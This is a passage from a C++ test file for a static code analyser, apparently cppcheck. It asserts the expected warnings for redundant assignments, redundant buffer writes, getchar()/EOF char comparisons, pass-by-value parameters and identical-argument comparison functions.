= 0; i < len; i++)\\n\"\n \" data[i] = 'a';\\n\"\n \"}\\n\"\n \"int main(int argc, char *argv[]) {\\n\"\n \" union_t u;\\n\"\n \" u.as_int = 42;\\n\"\n \" fn(&u.as_char[0], 4);\\n\"\n \" u.as_int = 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void foo(char *ptr) {\\n\"\n \" union {\\n\"\n \" char * s8;\\n\"\n \" unsigned long long u64;\\n\"\n \" } addr;\\n\"\n \" addr.s8 = ptr;\\n\"\n \" addr.u64 += 8;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12895\n \" int x, y;\\n\"\n \"};\\n\"\n \"union U {\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void f(const U& Src, const U& Dst) {\\n\"\n \" Dst.s->x = Src.s->x;\\n\"\n \" Dst.s->y = Src.s->y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_7133() {\n // #7133\n check(\"sal_Int32 impl_Export() {\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" uno::Sequence< uno::Any > aArgs(2);\\n\"\n \" beans::NamedValue aValue;\\n\"\n \" aValue.Name = \\\"DocumentHandler\\\";\\n\"\n \" aValue.Value <<= xDocHandler;\\n\"\n \" aArgs[0] <<= aValue;\\n\"\n \" aValue.Name = \\\"Model\\\";\\n\"\n \" aValue.Value <<= xDocumentComp;\\n\"\n \" aArgs[1] <<= aValue;\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:24] -> [test.c:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24] -> [test.cpp:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n\n check(\"class C { void operator=(int x); };\\n\" // #8368 - assignment operator might have side effects => inconclusive\n \"void f() {\\n\"\n \" C c;\\n\"\n \" c = x;\\n\"\n \" c = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:5:7]: (style, inconclusive) Variable 'c' is reassigned a value before the old one has been used if variable is no semaphore variable. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_stackoverflow() {\n check(\"typedef struct message_node {\\n\"\n \" char code;\\n\"\n \" size_t size;\\n\"\n \" struct message_node *next, *prev;\\n\"\n \"} *message_list;\\n\"\n \"static message_list remove_message_from_list(message_list m) {\\n\"\n \" m->prev->next = m->next;\\n\"\n \" m->next->prev = m->prev;\\n\"\n \" return m->next;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_lambda() {\n // #7152\n check(\"int foo() {\\n\"\n \" int x = 0, y = 0;\\n\"\n \" auto f = [&]() { if (x < 5) ++y; };\\n\"\n \" x = 2;\\n\"\n \" f();\\n\"\n \" x = 6;\\n\"\n \" f();\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10228\n check(\"std::tuple g();\\n\"\n \"void h(int);\\n\"\n \"void f() {\\n\"\n \" auto [a, b] = g();\\n\"\n \" auto l = [a = a]() { h(i); };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_loop() {\n check(\"void f() {\\n\"\n \" char buf[10];\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < 4; i++)\\n\"\n \" buf[i] = 131;\\n\"\n \" buf[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\" // #9262 do-while with break\n \" int x = 0;\\n\"\n \" x = 432;\\n\"\n \" do {\\n\"\n \" if (foo()) break;\\n\"\n \" x = 1;\\n\"\n \" } while (false);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FP\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++)\\n\"\n \" dostuff(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FN\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantVarAssignment_after_switch() {\n check(\"void f(int x) {\\n\" // #7907\n \" int ret;\\n\"\n \" switch (x) {\\n\"\n \" case 123:\\n\"\n \" ret = 1;\\n\" // redundant assignment\n \" break;\\n\"\n \" }\\n\"\n \" ret = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:8:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_pointer() {\n check(\"void f(int *ptr) {\\n\"\n \" int *x = ptr + 1;\\n\"\n \" *x = 23;\\n\"\n \" foo(ptr);\\n\"\n \" *x = 32;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8997\n check(\"void f() {\\n\"\n \" char x[2];\\n\"\n \" char* p = x;\\n\"\n \" *p = 1;\\n\"\n \" p += 1;\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_pointer_parameter() {\n check(\"void f(int *p) {\\n\"\n \" *p = 1;\\n\"\n \" if (condition) return;\\n\"\n \" *p = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_array() {\n check(\"void f() {\\n\"\n \" int arr[10];\\n\"\n \" int i = 0;\\n\"\n \" arr[i] = 1;\\n\"\n \" i += 2;\\n\"\n \" arr[i] = 3;\\n\"\n \" dostuff(arr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_switch_break() {\n // #10058\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:7:13]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantInitialization() {\n setMultiline();\n\n check(\"void f() {\\n\"\n \" int err = -ENOMEM;\\n\"\n \" err = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: style: Redundant initialization for 'err'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:13]: note: err is initialized\\n\"\n \"[test.cpp:3:9]: note: err is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" struct S s = {1,2,3};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Redundant initialization for 's'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:16]: note: s is initialized\\n\"\n \"[test.cpp:3:7]: note: s is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" p = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n // \"trivial\" initialization => do not warn\n check(\"void f() {\\n\"\n \" struct S s = {0};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N { enum E {e0,e1}; }\\n\"\n \"void f() {\\n\"\n \" N::E e = N::e0;\\n\" // #9261\n \" e = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10143\n \" std::shared_ptr i = g();\\n\"\n \" h();\\n\"\n \" i = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #9815\n \" int i = g();\\n\"\n \" i = std::distance(v.begin(), std::find_if(v.begin(), v.end(), [=](int j) { return i == j; }));\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // cppcheck-suppress unusedPrivateFunction\n void redundantMemWrite() {\n // Simple tests\n // cppcheck-suppress unreachableCode - remove when code is enabled again\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" sprintf(a, \\\"foo\\\");\\n\"\n \" memmove(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f(char *filename) {\\n\"\n \" char *p = strrchr(filename,'.');\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \" dostuff(filename);\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Writing to different parts of a buffer\n check(\"void f(void* a) {\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a+5, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Use variable as second argument\n check(\"void f(void* a, void* b) {\\n\"\n \" memset(a, 0, 5);\\n\"\n \" memcpy(b, a, 5);\\n\"\n \" memset(a, 1, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strcat is special\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strcat(a, bar);\\n\" // Not redundant\n \" strcpy(a, x);\\n\" // Redundant\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n // Tests with function call between copy\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" snprintf(a, foo, bar);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void* a;\\n\"\n \"void f() {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", \"\", errout_str());\n\n check(\"void bar(void* a) {}\\n\"\n \"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar(a);\\n\" // Passed as argument\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" if(x)\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4455 - initialization of local buffer\n check(\"void f(void) {\"\n \" char buf[10];\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char buf[10] = {0};\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'buf' is being written before its old content has been used.\\n\", errout_str());\n\n // #5689 - use return value of strcpy\n check(\"int f(void* a) {\\n\"\n \" int i = atoi(strcpy(a, foo));\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7175 - read+write\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\" // <- read + write\n \" strcpy(buf, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\"\n \" strcpy(buf, x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantAssignmentSameValue() {\n check(\"int main() {\\n\" // #11642\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:5]: (style) Variable 'a' is assigned an expression that holds the same value. [redundantAssignment]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b + 1;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b = 5;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:11]: (style) Redundant initialization for 'b'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12874\n \" int j = i + 1;\\n\"\n \" if (i > 5)\\n\"\n \" j = i;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12894\n \" std::string a;\\n\"\n \" void f(const S& s);\\n\"\n \" void g(const S& s);\\n\"\n \"};\\n\"\n \"void S::f(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" this->operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\"\n \"void S::g(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varFuncNullUB() { // #4482\n check(\"void a(...);\\n\"\n \"void b() { a(NULL); }\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability) Passing NULL after the last typed argument to a variadic function leads to undefined behaviour. [varFuncNullUB]\\n\", errout_str());\n\n check(\"void a(char *p, ...);\\n\"\n \"void b() { a(NULL, 2); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCastIntToCharAndBack() { // #160\n\n // check getchar\n check(\"void f() {\\n\"\n \"unsigned char c; c = getchar();\\n\"\n \" while( c != EOF)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \"unsigned char c = getchar();\\n\"\n \" while( EOF != c)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c; c = getchar();\\n\"\n \" while( EOF != c )\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c;\\n\"\n \" while( EOF != ( c = getchar() ) )\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( i != EOF)\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( EOF != i )\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check getc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check fgetc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"signed char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // cin.get()\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (EOF != ch) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (ch != EOF) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( EOF != i ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( i != EOF ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCommaSeparatedReturn() {\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return c::b;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4943 take care of C++11 initializer lists\n check(\"std::vector Bar() {\\n\"\n \" return\\n\"\n \" {\\n\"\n \" { \\\"1\\\" },\\n\"\n \" { \\\"2\\\" },\\n\"\n \" { \\\"3\\\" }\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPassByReference() {\n // #8570 passByValue when std::move is used\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a(std::move(a)) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a{std::move(a)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{std::move(a2)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{a2} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2(a2) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::map m;\\n\" // #10817\n \"void f(const decltype(m)::const_iterator i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int (*pf) (std::vector) = nullptr;\\n\" // #12118\n \"int f(std::vector v) {\\n\"\n \" return v.size();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" pf = f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:24]: (performance) Function parameter 'v' should be passed by const reference. However it seems that 'f' is a callback function. [passedByValueCallback]\\n\",\n errout_str());\n\n check(\"template struct A;\\n\" // #12621\n \"template\\n\"\n \"struct B { A a; };\\n\"\n \"template\\n\"\n \"struct A { B b; };\\n\"\n \"template\\n\"\n \"struct C : public virtual A, public virtual B {\\n\"\n \" A x;\\n\"\n \" B y;\\n\"\n \" C(A x_, B y_) : x(x_), y(y_) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"template \\n\" // #13537\n \" struct S {\\n\"\n \" T a[N];\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n Settings settingsUnix32 = settingsBuilder().platform(Platform::Type::Unix32).build();\n check(\"struct S {\\n\" // #13850\n \" int i0 : 32;\\n\"\n \" int i1 : 16;\\n\"\n \" unsigned short u16;\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\", true, true, true, false, &settingsUnix32);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonFunctionIsAlwaysTrueOrFalse() {\n // positive test\n check(\"bool f(int x){\\n\"\n \" return isless(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isless(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreaterequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreaterequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n // no warning should be reported for\n check(\"bool f(int x, int y){\\n\"\n \" return isgreaterequal(x,y) && islessequal(x,y) && islessgreater(x,y) && isgreater(x,y) && 